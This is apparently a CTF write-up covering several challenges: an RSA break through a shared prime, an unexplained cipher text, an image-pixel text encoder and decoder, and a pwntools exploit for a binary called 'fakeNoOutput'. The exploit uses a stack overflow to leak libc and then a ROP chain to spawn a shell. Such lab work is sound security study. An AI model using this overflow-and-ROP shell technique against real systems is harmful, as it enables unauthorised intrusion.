羊城杯CTF 题目wp

from flag import flagfrom Crypto.Util.number import *
m = bytes_to_long(flag)e = 65537f = open("output.txt", "r")a = f.readlines()for i in a:    n = int(i)    c = pow(m, e, n)    m = cprint 'c = %s' % (m)f.close()
'''c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727'''

import gmpy2from Crypto.Util.number import *a = 65439077968397540989065489337415940784529269429684649365065378651353483030304843439003949649543376311871845618819107350646437252980144978447924976470943930075812834237368425374578215977641265884859875440799334807607478705932175148673160353577875890074101393042506714001617338265284910381849259298772642190619b = 86843235426823545017422014398916780909062053456790256392304973548517489132984667679637386416948409930796162377844525829968317585749956057149930523547463230147376192820753802868362225137830225967953826475779047454555958271846035526319036389127587352017149417549187850782892924691511398536178090031958365483499c = 57839320383142814687522363258949714784622321678585619281948174372461045134361003939684803510572969567182690634502610963365500727981041136988638273942465134797850643121827808482673619534240872593224537996099454035648829692386918230535360101064254854063175494150147494342652670585674593236663514793256521719547d = 52668168898129361356420333177679019946307853075463961068071790653159090226904625885080236174231665178538405547828768043706515464922611051221394704678558922339886480247663138702481349098077291584992082414494275463670330534613607852999291645500391111597009868188974671249118213040057429113174377610094956993269e = 79875848044631194160351918105738804229446748736206976033243436373010695259945613104837645712048695514204494137005015770637421510392760763371639480133851920449252506525423837434811693638210458851990502785655738042348115385964604080872180121543147063180945532713593712726527002909054818485584237993215139630243f = 73100501797447180147684637554796375398455002202770022931512541062214916136294604754404667725341796896161398464327153718845280194035978972665664657052946003418121755545770123205426883869361411412259838522099085901563107814985172942977520233320215882707710717870398128412272218474014381169303848087621856187879g = 89149546555397759430343098936690138982544367561661914051499112345535238108800665531588376806546499374457634397161670140520060064963391826220177798442707381640723248034061313974522233415815795656570220902974484865176728535660627712374835329967608728216749734529761431592345816592875807318876347151421393671763h = 66449107450661172442868032153863675098235855689218695279414435182923510356012957155941548483160873271040452368644926703812707864779900715051152673705082002761445847561495295455460041902473282731259268870375921215589157288622757488879539441498396276257589120302991242300378364101246448094955634459779361686643i = 79694880331320743031437708811856697413105291652061062223857313580221562305807771003185061831752133665835648647560103986928466217390444724672894866216636981793418219455653595717274553950715056120806463449033181486699963584346517910081706586345546292894426402568226579894766693070066214488743160957135286739213j = 70521001788476157145543175674209083194325853388116385624440232036679708917857095748070597575068955423165296665429648694541353249787337464272095260410717659726012806836884799476995758902361678737968193674368688353935424186389207123637734230550266810766585903134004322848985320790788169777840924595645463787189k = 51801430118171456966246071852561156183140136541960623661080056673664466785669585092926482194691254461430866302262960624015915371927788809661387318097968209364907625599562339722700041444342116899266802018340155635959614677597708758012024981583143521259152639480003228924151971208695043251548758407218187895663l = 87310111118839703578797261862424304499548882114635944516216618095145194843718635007052242072452831460162126955481326379219639313067967998826898344673513019946299427614605216960081461930080199023399060417820769438661351988322185620598552697590115678078498754112860310272842870106790357443602405008865116282919
print(gmpy2.gcd(a,b,c,d,e,f,g,h,i,j,k,l))
e = 65537
def slov(n,c):    p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897    q = n//p    phi = gmpy2.mul((p-1),(q-1))    d = gmpy2.invert(e,phi)    m = gmpy2.powmod(c,d,n)    return mtmp = []with open ('output.txt','r') as f1:    for i in f1:        tmp.append(i)tmp = tmp[::-1]

c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727for i in tmp:    c = slov(int(i),c)print(long_to_bytes(c))

7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897b'GWHT{gixkJl7SJTcpLOL9zqwo}'

Naseu bybkjkl, O wt mna Wkkopwkja hl Qrkgeux Fasxtorr. Zdl Kaozbgj hksu oty fblz hhntyoxj wu tzphvq ku Nqnhbta, hgj pox Qupo geyiuna ago ixkj jhtpyhrhlw hu aak Nblyehg gntr. Nahkj pvwgu pl QBJ Vxwgr Zdbkyzhr, O jlxj ovfkkux zk ikojn fk 29.94 bpgmay-layrbtc vkocpggh jaoyrxt wz kgpphto uhc. Soxt E yxvas mna Ynyoptt wyfe, E dbrh pgbeax ekb mu yvfk pv Nqnhbta ah ha aak rpvk lyxyekxtp.aak lhlysvkj ez ZCDA@K1tz0frjo

from PIL import Imageimport math

def encode(text):    str_len = len(text)    width = math.ceil(str_len ** 0.5)    im = Image.new("RGB", (width, width), 0x0)
    x, y = 0, 0    for i in text:        index = ord(i)        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)        im.putpixel((x, y), rgb)        if x == width - 1:            x = 0            y += 1        else:            x += 1    return im

if __name__ == '__main__':    with open("829962.txt", encoding="gbk") as f:        all_text = f.read()
        im = encode(all_text)        im.save("out.bmp")

import string
from PIL import Imageimport mathfrom Crypto.Util.number import *
im = Image.open('out.bmp')width = im.size[0]r = ''for y in range(width):    for x in range(width):        t = im.getpixel((x,y))        m = (t[1] << 8) + t[2]        r += (chr(m))print(r)for i in range(len(r)):    if r[i] in string.ascii_letters + '0123456789{-_}':        print(r[i], end='')    else:        print(' ', end='')

from pwn import *from time import sleep
context.terminal = ['tmux','splitw','-h']context.log_level = 'debug'
# libc = ELF("./libc.so.6")sh = process('./fakeNoOutput')# sh = remote('tcp.dasc.buuoj.cn', 27898)elf = ELF('./fakeNoOutput')libc = elf.libc
ru = lambda x,drop = False : sh.recvuntil(x, drop)sn = lambda x : sh.send(x)rl = lambda : sh.recvline()sl = lambda x : sh.sendline(x)rv = lambda x : sh.recv(x)sa = lambda a,b : sh.sendafter(a,b)sla = lambda a,b : sh.sendlineafter(a,b)
strspn_got = elf.got["__libc_start_main"]res200 = 0x080496A1main_addr = 0x80492e0bss = 0x0805D3C0
payload0 = b"""get /upload headHTTP_SERVER1_token:taaaaUser-Agent:tccccCookie:tddddReferer:teeeeContent-Length:t5600rnContent:filename="""
payload0 += b'a' * 600
gdb.attach(sh, 'b *0x8049FEC')pause()
sl(payload0)
payload = b"A" * 4164 + p32(res200)payload += p32(main_addr)payload += p32(strspn_got)payload = payload.ljust((5000-18), b"B")sn(payload)res = ru("xf7")libc_start_main = u32(res[-4:])
log.info("----------------------" + hex(libc_start_main))
libcbase = libc_start_main - libc.sym["__libc_start_main"]system_libc = libcbase + libc.sym["system"]gets_libc = libcbase + libc.sym["gets"]log.info("----------------------" + hex(libcbase))log.info("----------------------" + hex(gets_libc))
sl(payload0)
payload = b"A" * 4164 + p32(gets_libc)payload += p32(0x08049539)payload += p32(bss)payload += p32(system_libc)payload += p32(0xbeefbeef)payload += p32(bss)payload = payload.ljust((5000-18), b"B")sn(payload)
sleep(5)sl("/bin/shx00")sh.interactive()